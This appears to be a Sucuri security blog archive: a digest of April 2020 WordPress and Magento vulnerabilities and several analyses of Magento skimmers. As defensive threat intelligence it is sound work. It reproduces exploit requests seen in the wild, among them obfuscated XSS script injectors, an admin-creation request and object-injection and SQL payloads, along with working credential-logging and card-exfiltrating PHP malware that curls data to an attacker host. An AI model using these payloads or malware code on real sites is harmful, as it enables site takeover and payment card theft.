Magento Security Archives

Vulnerabilities Digest: April 2020

Relevant Plugins and Vulnerabilities:

Plugin	Vulnerability	Patched Version	Installs
Widget Settings Importer/Exporter	Stored XSS	Closed	40000
Accordion	Stored/Reflected XSS	2.2.9	30000
Support Ticket System By Phoeniixx	Reflected XSS	Closed	2000
Gutenberg Blocks	Authenticated Settings Change	1.14.8	200000
WP Lead Plus X	Stored XSS	0.99	70000
OneTone	Stored XSS	Closed	20000
WP Advanced Search	SQL Injection	3.3.6	1000
Easy Forms for Mailchimp	Authenticated XSS	6.6.3	100000
CM Pop-Up banners	Stored XSS	1.4.11	10000
Duplicate Page and Post	SQL Injection	2.5.8	50000
WP post page close	SQL Injection	Closed	----

Highlights for April 2020

Developers are still falling short when sanitizing user input, leading to the exploitation of vulnerable third-party components.
Cross site scripting is still the most prevalent vulnerability. Bad actors are taking advantage of the lack of restrictions in critical functions and issues surrounding user input data sanitization.
Unprotected AJAX action bugs are still on the rise. Attackers aren’t hesitating to automate malicious injections for vulnerable plugins.
Access bypass bugs continue to be the most critical vulnerability.
We saw a spike in attempts to exploit old Magento vulnerabilities

Details for these highlights can be found under the components listed below.

WP-Advanced-Search

Developers fixed an unauthenticated SQL Injection in WP-Advanced-Search which was caused by an improper handling of user input data.

Public PoC:

GET /wp-content/plugins/wp-advanced-search/class.inc/autocompletion/autocompletion-PHP5.5.php?q=admin&t=wp_autosuggest&f=[malicious payload]

Patch (version 3.6):

Developers removed the “autocompletion-PHP5.5.php” file and added restrictions to multiple SQL queries.

--- a/wp-advanced-search.old/class.inc/autocompletion/autocompletion-PHP5.5.php
+++ /dev/null
@@ -1,58 +0,0 @@
-<?php
-if(isset($_GET['q']) && !empty($_GET['q'])) {
-       $query = htmlspecialchars(stripslashes($_GET['q']));
-
-       // Récupération à la volée des informations transmises par le script d'autocomplétion
-       $table   = htmlspecialchars($_GET['t']);
-       $field   = htmlspecialchars($_GET['f']);
-       $type    = htmlspecialchars($_GET['type']);
-       $encode  = htmlspecialchars($_GET['e']);
[...]
-    // Requête de recherche dans l'index inversé (base de mots clés auto-générés)
-    // $requeteSQL = "SELECT DISTINCT ".$field." FROM ".$table." WHERE ".$field." LIKE '".$arg.$link->real_escape_string($query)."%' ORDER BY ".$field." ASC, idindex DESC LIMIT 0 , ".$limitS."";
-    $requeteSQL = "SELECT ".$field." FROM ".$table." WHERE ".$field." LIKE '".$arg.$link->real_escape_string($query)."%' ORDER BY ".$field." ASC, idindex DESC";

Support Ticket System By Phoeniixx

The plugin Support Ticket System By Phoeniixx was closed due to lack of maintenance, but existing users are still impacted by a reflected Cross Site Scripting vulnerability.

Public PoC:

GET  site.com/?view_id=[malicious payload]

Vulnerable Code:

<script>

var newurl      = '<?php echo admin_url('admin-ajax.php') ;?>';                       
var get_val = '<?php echo (!empty($_GET['view_id']))?$_GET['view_id']:""; ?>';

</script>

Plugin & Theme Payloads Added to Ongoing Campaign

The Popup builder plugin allows site owners to easily create promotion popups. This past month, versions < 3.64 were affected by an unauthenticated stored XSS and attackers are still using it to infect thousands of sites.

Malicious domains injected this month

slow[.]destinyfernandi[.]com
ws[.]stivenfernando[.]com
stat[.]trackstatisticsss[.]com

Exploit Attempts Seen in the Wild

This past month, our team identified attacks against the following vulnerable plugins and themes.

OneTone theme (closed)

164.132.194.160 -- POST -- /wp-admin/admin-ajax.php -- action=onetone_options_import&options=%7B%22header_social_icons%22%3A%5B%5D%2C%22page_title_bar_background1%22%3A%7B%22background-color%22%3A%22%22%2C%22background[...]2C%22top_bar_info_content%22%3A%22%22%2C%22copyright%22%3A%22%3Cscript%3Eeval(String.fromCharCode(118,97,114,32,117,32,61,32,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,49,54,44,49,49,54,44,49,49,50,44,49,49,53,44,53,56,44,52,55,44,52,55,44,49,49,57,44,49,49,53,44,52,54,44,49,49,53,44,49,49,54,44,49,48,53,44,49,49,56,44,49,48,49,44,49,49,48,44,49,48,50,44,49,48,49,44,49,49,52,44,49,49,48,44,57,55,44,49,49,48,44,49,48,48,44,49,49,49,44,52,54,44,57,57,44,49,49,49,44,49,48,57,44,52,55,44,49,49,53,44,49,49,54,44,49,48,57,44,54,51,44,49,49,56,44,54,49,44,49,49,57,44,57,55,44,52,57,44,52,54,44,53,51,44,52,54,44,53,54,41,59,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,41,59,32,115,46,116,121,112,101,61,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,54,44,49,48,49,44,49,50,48,44,49,49,54,44,52,55,44,49,48,54,44,57,55,44,49,49,56,44,57,55,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,59,32,118,97,114,32,112,108,32,61,32,117,59,32,115,46,115,114,99,61,112,108,59,32,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,48,49,44,57,55,44,49,48,48,41,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,118,97,114,32,108,105,115,116,32,61,32,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,41,59,108,105,115,116,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,108,105,115,116,46,99,104,105,108,100,78,111,100,101,115,91,48,93,41,59,125))%3B%3C%5C%2Fscript%3E%22%7D -- 2020-04-27

Popup Builder

185.212.128.162 -- POST -- /wp-admin/admin-ajax.php -- action=sgpb_autosave&allPopupData[...]%27on%27+%2B+eventName%2C+fn%29%3B%7D&allPopupData%5B92%5D%5Bname%5D=sgpb-WillOpen&allPopupData%5B92%5D%5Bvalue%5D=var+u+%3D+String.fromCharCode%28104%2C116%2C116%2C112%2C115%2C58%2C47%2C47%2C119%2C115%2C46%2C115%2C116%2C105%2C118%2C101%2C110%2C102%2C101%2C114%2C110%2C97%2C110%2C100%2C111%2C46%2C99%2C111%2C109%2C47%2C115%2C116%2C109%2C63%2C118%2C61%2C46%2C49%2C119%2C115%2C51%2C46%2C49%2C46%2C56%2C46%2C49%2C46%2C49%29%3Bvar+d%3Ddocument%3Bvar+s%3Dd.createElement%28String.fromCharCode%28115%2C99%2C114%2C105%2C112%2C116%29%29%3B+s.type%3DString.fromCharCode%28116%2C101%2C120%2C116%2C47%2C106%2C97%2C118%2C97%2C115%2C99%2C114%2C105%2C112%2C116%29%3B+var+pl+%3D+u%3B+s.src%3Dpl%3B+if+%28document.currentScript%29+%7B+document.currentScript.parentNode.insertBefore%28s%2C+document.currentScript%29%3B%7D+else+%7Bd.getElementsByTagName%28String.fromCharCode%28104%2C101%2C97%2C100%29%29%5B0%5D.appendChild%28s%29%3Bvar+list+%3D+document.getElementsByTagName%28String.fromCharCode%28115%2C99%2C114%2C105%2C112%2C116%29%29%3Blist.insertBefore%28s%2C+list.childNodes%5B0%5D%29%3B%7D&allPopupData%5B93%5D%5Bname%5D=sgpb-DidOpen&allPopupData%5B93%5D%5Bvalue%5D=+&allPopupData%5B94%5D%5Bname%5D=sgpb-ShouldClose&allPopupData%5B94%5D%5Bvalue%5D=var+u+%3D+String.fromCharCode%28104%2C116%2C116%2C112%2C115%2C58%2C47%2C47%2C119%2C115%2C46%2C115%2C116%2C105%2C118%2C101%2C110%2C102%2C101%2C114%2C110%2C97%2C110%2C100%2C111%2C46%2C99%2C111%2C109%2C47%2C115%2C116%2C109%2C63%2C118%2C61%2C46%2C49%2C119%2C115%2C51%2C46%2C49%2C46%2C56%2C46%2C49%2C46%2C49%29%3Bvar+d%3Ddocument%3Bvar+s%3Dd.createElement%28String.fromCharCode%28115%2C99%2C114%2C105%2C112%2C116%29%29%3B+s.type%3DString.fromCharCode%28116%2C101%2C120%2C116%2C47%2C106%2C97%2C118%2C97%2C115%2C99%2C114%2C105%2C112%2C116%29%3B+var+pl+%3D+u%3B+s.src%3Dpl%3B+if+%28document.currentScript%29+%7B+document.currentScript.parentNode.insertBefore%28s%2C+document.currentScript%29%3B%7D+else+%7Bd.getElementsByTagName%28String.fromCharCode%28104%2C101%2C97%2C100%29%29%5B0%5D.appendChild%28s%29%3Bvar+list+%3D+d[...]sgpb-css-editor&allPopupData%5B97%5D%5Bvalue%5D=

Many other plugins are still under attack. Please check our previous lab notes for more information.

Detected IPs

185.212.128.162
164.132.194.160
188.166.16.17
66.228.44.215
173.249.6.22
54.39.10.60
5.196.207.195
84.238.108.177
109.96.171.178
92.119.185.126

ThemeREX Addons

Back in February, we shared information about a critical vulnerability in ThemeREX Addons that was disclosed to the public and later on massively exploited by attackers.

Here is the full working exploit that attackers are using to compromise vulnerable sites.

195.154.177.210 -- post -- /wp-json/trx_addons/v2/get/sc_layout?sc=wp_insert_user&role=administrator&user_login=ndvtzaifnz&user_pass=6Wlh6SA0RT -- - -- 2020-04-04

Detected IPs

195.154.177.210
5.135.143.224
84.238.108.177
109.96.171.178
92.119.185.126
82.77.172.62
82.78.189.130

Old Magento Versions Still Exploited

Unpatched Magento sites will be always targeted by attackers and that’s why we encourage users to implement all security patches in a timely manner. Multiple vulnerabilities were fixed two years ago and attackers are still taking advantage of them.

We've listed some of the exploits attackers are using to compromise vulnerable sites below.

Magento Made Cache - Object Injection

154.9.169.173 -- GET -- http://site.com/madecache/varnish/esi/?misc=YTozOntzOjc6InByb2R1Y3QiO3M6MToiMSI7czo2OiJvcHRpb24iO3M6MToiMSI7czoxOiJ4IjtPOjg6IlplbmRfTG9nIjoxOntzOjExOiIAKgBfd3JpdGVycyI7YToxOntpOjA7TzoyMDoiWmVuZF9Mb2dfV3JpdGVyX01haWwiOjU6e3M6MTY6IgAqAF9ldmVudHNUb01haWwiO2E6MTp7aTowO2k6MTt9czoyMjoiACoAX2xheW91dEV2ZW50c1RvTWFpbCI7YTowOnt9czo4OiIAKgBfbWFpbCI7Tzo5OiJaZW5kX01haWwiOjA6e31zOjEwOiIAKgBfbGF5b3V0IjtPOjExOiJaZW5kX0xheW91dCI6Mzp7czoxMzoiACoAX2luZmxlY3RvciI7TzoyMzoiWmVuZF9GaWx0ZXJfUHJlZ1JlcGxhY2UiOjI6e3M6MTY6IgAqAF9tYXRjaFBhdHRlcm4iO3M6NzoiLyguKikvZSI7czoxNToiACoAX3JlcGxhY2VtZW50IjtzOjE2OiJleGl0KCJNYVphWWFOYSIpIjt9czoyMDoiACoAX2luZmxlY3RvckVuYWJsZWQiO2I6MTtzOjEwOiIAKgBfbGF5b3V0IjtzOjY6ImxheW91dCI7fXM6MjI6IgAqAF9zdWJqZWN0UHJlcGVuZFRleHQiO047fX19fQ== -- - -- 2020-04-15

Magento Magecart - Object Injection

23.229.39.178 -- POST -- /freegift/cart/gurlgift -- data=YTozOntzOjc6InByb2R1Y3QiO3M6MToiMSI7czo2OiJvcHRpb24iO3M6MToiMSI7czoxOiJ4IjtPOjg6IlplbmRfTG9nIjoxOntzOjExOiIAKgBfd3JpdGVycyI7YToxOntpOjA7TzoyMDoiWmVuZF9Mb2dfV3JpdGVyX01haWwiOjU6e3M6MTY6IgAqAF9ldmVudHNUb01haWwiO2E6MTp7aTowO2k6MTt9czoyMjoiACoAX2xheW91dEV2ZW50c1RvTWFpbCI7YTowOnt9czo4OiIAKgBfbWFpbCI7Tzo5OiJaZW5kX01haWwiOjA6e31zOjEwOiIAKgBfbGF5b3V0IjtPOjExOiJaZW5kX0xheW91dCI6Mzp7czoxMzoiACoAX2luZmxlY3RvciI7TzoyMzoiWmVuZF9GaWx0ZXJfUHJlZ1JlcGxhY2UiOjI6e3M6MTY6IgAqAF9tYXRjaFBhdHRlcm4iO3M6NzoiLyguKikvZSI7czoxNToiACoAX3JlcGxhY2VtZW50IjtzOjE2OiJleGl0KCJNYVphWWFOYSIpIjt9czoyMDoiACoAX2luZmxlY3RvckVuYWJsZWQiO2I6MTtzOjEwOiIAKgBfbGF5b3V0IjtzOjY6ImxheW91dCI7fXM6MjI6IgAqAF9zdWJqZWN0UHJlcGVuZFRleHQiO047fX19fQ== -- 2020-04-14

Magento Core - SQL Injection

45.11.24.151 -- GET -- /catalog/product_frontend_action/synchronize?ids%5B0%5D%5Badded_at%5D=&type_id=recently_products&ids%5B0%5D%5Bproduct_id%5D%5Bto%5D=%29%29%29+OR+%28SELECT+1+UNION+SELECT+2+FROM+DUAL+WHERE+123%3D123%29+--+-&ids%5B0%5D%5Bproduct_id%5D%5Bfrom%5D=%3F -- - -- 2020-04-26

Public exploits already exist for all of the components listed above. We strongly encourage you to keep your software up to date to prevent infection and mitigate risk to your environment. Websites behind the Sucuri Firewall are protected against these exploits.

May 1, 2020 by John Castro

Web Skimmer With a Domain Name Generator –...

This note is a follow up to our recent post about a web skimmer that uses a dynamic domain name generating algorithm. This week, analyst Ben Martin found another variation of the same malware. The script looks very similar.

The changes here are pretty minor: it uses a “ql” domain prefix instead of “qr” and the Math.sin() function instead of Math.cos(). This new variation also uses the name of the compromised site as the script path on the generated malicious domain.

[location.host,'js'].join('.')

Otherwise, the idea is identical — the generated domain names are based on the current month and year. As seen in the original post, the domains for March through December of 2020 are already registered.

March ql202141[.]pw
April ql201243[.]pw
May ql201041[.]pw
June ql201721[.]pw
July ql202657[.]pw
August ql202989[.]pw
September ql202412[.]pw
October ql201456[.]pw
November ql201000[.]pw
December ql201463[.]pw

All of these domains were registered on March 13th, 2020 within one minute by a user with the email valentinakrudyanova@yandex.ru. Domains from the original post were registered on March 18th, 2020, indicating that this “ql” variation is a predecessor for the “qr” campaign.

A URL scan indicates that this variant has been in use since mid-March: ql202141.]pw domain.

The obfuscated scripts served by the generated domains are web skimmers similar to what we described in the previous post. In this case, they send stolen data to hxxps://mykada[.]com/js/ar/ar7938.php, a domain previously mentioned in a February post by Marco Ramilli. Back then, the malware was also found to be using exfiltration URLs like hxxps://mykada[.]com/js/ar/ar2497.php.

If you believe your Magento website has been infected, you can refer to our hacked Magento guide for step-by-step instructions on how to remove malware and harden a compromised environment.

Apr 23, 2020 by Denis Sinegubko

Magento JavaScript Skimmer Targets Tarjetas de Crédito

A website owner recently contacted us regarding a payment problem on their Magento website. A suspicious payment card form was loading for customers who were trying to pay for items in their shopping cart:

This payment card form should NOT be displayed when the Tarjeta de Credito DISCOVER radio button is selected from the purchase process. The malicious "feature" was found to be loading due to an injection using the Javascript .click() event on the onestepcheckout-place-order element. This injection allows attackers to display their form and skim payment card details as they are entered.

To exfiltrate the skimmed payment card data, the injection continues to use Javascript to encode data and send it to the malicious domain cdn-filestore[.]com, which itself is encoded in base64 to evade detection. All of this is accomplished through a Javascript function defined in the injection under the name onestepcheckout_payment():

After removing the malicious injection, the skimmer form no longer shows up on the checkout page of the Magento website. Instead, it shows the correct text and behavior which informs customers that they will be redirected to the payment processor’s website after submitting their order.

It’s imperative that Magento websites take e-commerce security seriously, as they are responsible for customer data and breaches of transaction data on their online store. Perform regular security scans to detect infections, identify malware, and pinpoint other indicators of compromise.

Apr 17, 2020 by Luke Leal

Magento Login Stealer in Fake bg_white.png Image

Our Remediation team analyst Ben Martin recently found a malicious injection in a compromised Magento 1.9.x installation that was stealing Magento user login credentials.

The injection was found in the core Magento file /app/code/core/Mage/Admin/Model/Session.php hiding alongside legitimate PHP code.

  $validate_session = fopen(getcwd()."/media/wysiwyg/bg_white.png", 'a+') or die("Error");
    $session_save2 =  "|Session_strat:".$_SERVER['HTTP_HOST']."Login:".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."Username:".$username."Password:".$password."IP Log:".$_SERVER['REMOTE_ADDR'] . ";" . date("m-d-y=H-i-s") . "\n";
    fwrite($validate_session, $session_save2);
    fclose($validate_session);

The malware works by defining the $validate_session variable to use the fopen function to open the existing bg_white.png file within the /media/wysiwyg/ directory.

This directory is typically used to host various image files, so the existence of a generically named .png file is not unusual. That being said, the contents of the bg_white.png file do not contain any image data at all. Instead, the contents contain sensitive user information, including Magento usernames, passwords, visitor’s IP addresses, request timestamps, and website information.

This stolen data is gathered by the second variable $session_save2, which leverages superglobal variables and various PHP functions to gather a visitor’s login data before saving it to the file opened by variable $validate_session.

A distinct red flag that caught our attention is the size of the bg_white.png file — it can be enormous. One sample ended up being over 1.4MB in size. The fake image was using much more disk space than similar legitimate images in the same directory. The reason its large size was that it had been stealing Magento login credentials every time someone had logged into their account for over one year. This resulted in over 7,500 lines of stolen logins dating back to February 2019.

To obtain these stolen credentials, the attacker simply needs to send a request for the image file to the infected website. The image file will then be downloaded, complete with all of the stolen Magento logins. Bad actors can easily download the file automatically using a schedule tasker or cron job tool to grab the image with wget and conveniently store it at a defined location.

If you suspect that your Magento site has been compromised or login credentials are being stolen, we offer a free hacked Magento guide to assist you with clean up. Our remediation specialists are also available to lend a hand with malware removal.

Feb 24, 2020 by Luke Leal

Magento Credit Card Stealer: harilov[.]com

Our Remediation team lead Ben Martin recently discovered a single line obfuscated PHP injection in the main index.php file of a Magento 1.9.x website. It was being used to capture and exfiltrate payment card data from an infected website as soon as a victim submits their information.

ini_set('display_errors', 0); error_reporting(0); $hBcS = implode("_", array("str", implode("", array('ro','t13')))); $PXZum = $hBcS('onfr64_rapbqr'); $AiPVp=$hBcS('onfr64_qrpbqr'); $rKwfSV = $hBcS('frevnyvmr'); $PHCUqZ=$hBcS($AiPVp('Y2VydF96bmdwdQ==')); $kusahdjI = $AiPVp('c2hlbGxfZXhlYw==');  if ($PHCUqZ("/".$AiPVp('Y3ZjMnx1c2VybmFtZXxzaGlwcGluZ3xjYXJkX251bWJlcnxjY198ZHVtbXl8cGF5bWVudHx5ZWFyfHNlY3VyZXRyYWRpbmd8Zmlyc3RuYW1lfGV4cGlyeXxtb250aHxsb2dpbnxjY19udW1iZXJ8Y3Z2fGJpbGxpbmc=')."/i", $rKwfSV($_REQUEST))) $GwYqF=$kusahdjI(trim($AiPVp("Y3VybCAgLS1kYXRh")).' "'.trim($AiPVp("dmVyc2lvbj0xJmVuY29kZT0=")).$PXZum( $rKwfSV($_REQUEST) . "--" . $rKwfSV($_COOKIE))."&host=".$_SERVER["HTTP_HOST"]."\" ".trim($AiPVp('aHR0cDovL2hhcmlsb3YuY29tL3Rlc3RTZXJ2ZXIucGhw')).' '.trim($AiPVp("ID4gL2Rldi9udWxsIDI+JjEgJg==")));

After beautifying the initial injection, it becomes easier to read. The obfuscation is light and primarily uses rot13 and base64 encoding to obfuscate the actual PHP.

<?php
$hBcS = implode("_", array("str", implode("", array('ro','t13'))));
// $hBcS = str_rot13
$PXZum = $hBcS('onfr64_rapbqr');
// $PXZum = base64_encode
$AiPVp = $hBcS('onfr64_qrpbqr');
// $AiPVp = base64_decode
$rKwfSV = $hBcS('frevnyvmr');
// $rKwfSV = serialize
$PHCUqZ = $hBcS($AiPVp('Y2VydF96bmdwdQ=='));
// $PHCUqZ = preg_match
$kusahdjI = $AiPVp('c2hlbGxfZXhlYw==');
// $kusahdjI = shell_exec
?>

As seen above, I have included comments below the malicious lines of PHP to help clarify the decoded PHP functions. These functions are important since they are used to capture and exfiltrate the payment card data later in the code.

When decoded, the string Y2VydF96bmdwdQ== becomes the function preg_match, which is used to detect a variety of payment field details from HTTP requests data sent to the file.

Since the malicious code is being injected into Magento’s main index.php file, it is typically loaded whenever visitors make a request to the infected website’s checkout page. If one of the fields defined in the preg_match function are detected, then the PHP function shell_exec is used to initiate a curl request. This request sends the detected payment field data to the C2 host harilov[.]com/testServer[.]php through a crafted POST HTTP request.

To evade detection, the malware directs any possible output from the curl request to /dev/null. The PHP injection itself also contains error_reporting(0), which is used to silence any PHP errors occurring from the injected code.

if ($PHCUqZ("/" . $AiPVp('Y3ZjMnx1c2VybmFtZXxzaGlwcGluZ3xjYXJkX251bWJlcnxjY198ZHVtbXl8cGF5bWVudHx5ZWFyfHNlY3VyZXRyYWRpbmd8Zmlyc3RuYW1lfGV4cGlyeXxtb250aHxsb2dpbnxjY19udW1iZXJ8Y3Z2fGJpbGxpbmc=') . "/i", $rKwfSV($_REQUEST)))
//if preg_match('/cvc2|username|shipping|card_number|cc_|dummy|payment|year|securetrading|firstname|expiry|month|login|cc_number|cvv|billing/i', serialize($_REQUEST))
$GwYqF = $kusahdjI(trim($AiPVp("Y3VybCAgLS1kYXRh")) . ' "' . trim($AiPVp("dmVyc2lvbj0xJmVuY29kZT0=")) . $PXZum($rKwfSV($_REQUEST) . "--" . $rKwfSV($_COOKIE)) . "&host=" . $_SERVER["HTTP_HOST"] . "\" " . trim($AiPVp('aHR0cDovL2xvY2FsaG9zdC9jdXJsLnBocA==')));
//shell_exec(curl --data "version=1&encode=base64_encode(serialize($_REQUEST))--cookiestring&host=hxxp%3A%2F%2Fharilov[.]com%2FtestServer.php"  > /dev/null 2>&1 &)

The best way to mitigate this type of injection is to use website monitoring with server side scanning capabilities to detect changes within the entire website environment.

Feb 7, 2020 by Luke Leal

Magento Skimmer Found Loading from magecart[.]net

We recently came across a simple Magento credit card skimmer found on a compromised website that was loading from the malicious domain magecart[.]net.

The malicious domain was first registered on December 8th, 2019 and is likely a blatant play on the hacker groups known under the collective name MageCart. This renowned group of threat actors regularly targets online shopping carts to steal payment and personal information.

We located the malicious file at ./pub/static/frontend/Infortis/ultimo/en_US/Magento_Checkout/template/billing-address.html on the compromised Magento website.

compromised magento website credit card skimmer iframe

The skimmer loads an iframe from a single line from HTML file onto the checkout page of a compromised Magento website, offering users a legitimate-looking area to input payment purchase information.

checkout form field on compromised magento site

A form field is then used to collect the payment card details and personal information of the victim.

Once all fields have been populated with data, a click event from the form submission triggers the function pay_save to exfiltrate the unencrypted stolen information back to the malicious domain magecart[.]net.

compromised magento website credit card skimmer data exfiltration

Data exfiltration is performed using JavaScript to capture the input from the form’s interface, then collects and condenses the information to the result variable so that it can finally be sent to a PHP script on the malicious magecart[.]net domain.

Jan 16, 2020 by Luke Leal

Sucuri_encrypted: Magento Malware

In an effort to make malicious code appear to be credible, hackers commonly piggyback on the names of reputable, well-known companies and services. Typical examples of this technique include malware campaigns that abuse names of jQuery and Google Analytics.

Protecting websites and educating website owners about attacks for over ten years, Sucuri’s name and brand has also become a credibility indicator that hackers seek to abuse in their malicious code.

One recent example is a credit card stealing malware that we’ve been locating within the app/code/core/Mage/Payment/Model/Method/Cc.php files of compromised sites since the end of last year.

The stealer begins with “$this->sucuri_encrypted();” which is added to the assignData function of the Mage_Payment_Model_Method_Cc class.

In the sucuri_encrypted() method, you see something along these lines:

There is some assignment of encrypted data to items of the $sucuri_firewall array with the “create array of data to be secured” comment. This makes it appear to have something to do with encryption and Sucuri firewall.

Of course, this is not true. The Sucuri Firewall does not modify Magento files—it doesn’t even have access to the website files. It works on a separate server as an invisible additional layer between a protected website and its visitors (or attackers).

What this code actually does is steal customer payment details and send them to a script on a third-party hacked server.

Oct 17, 2019 by Denis Sinegubko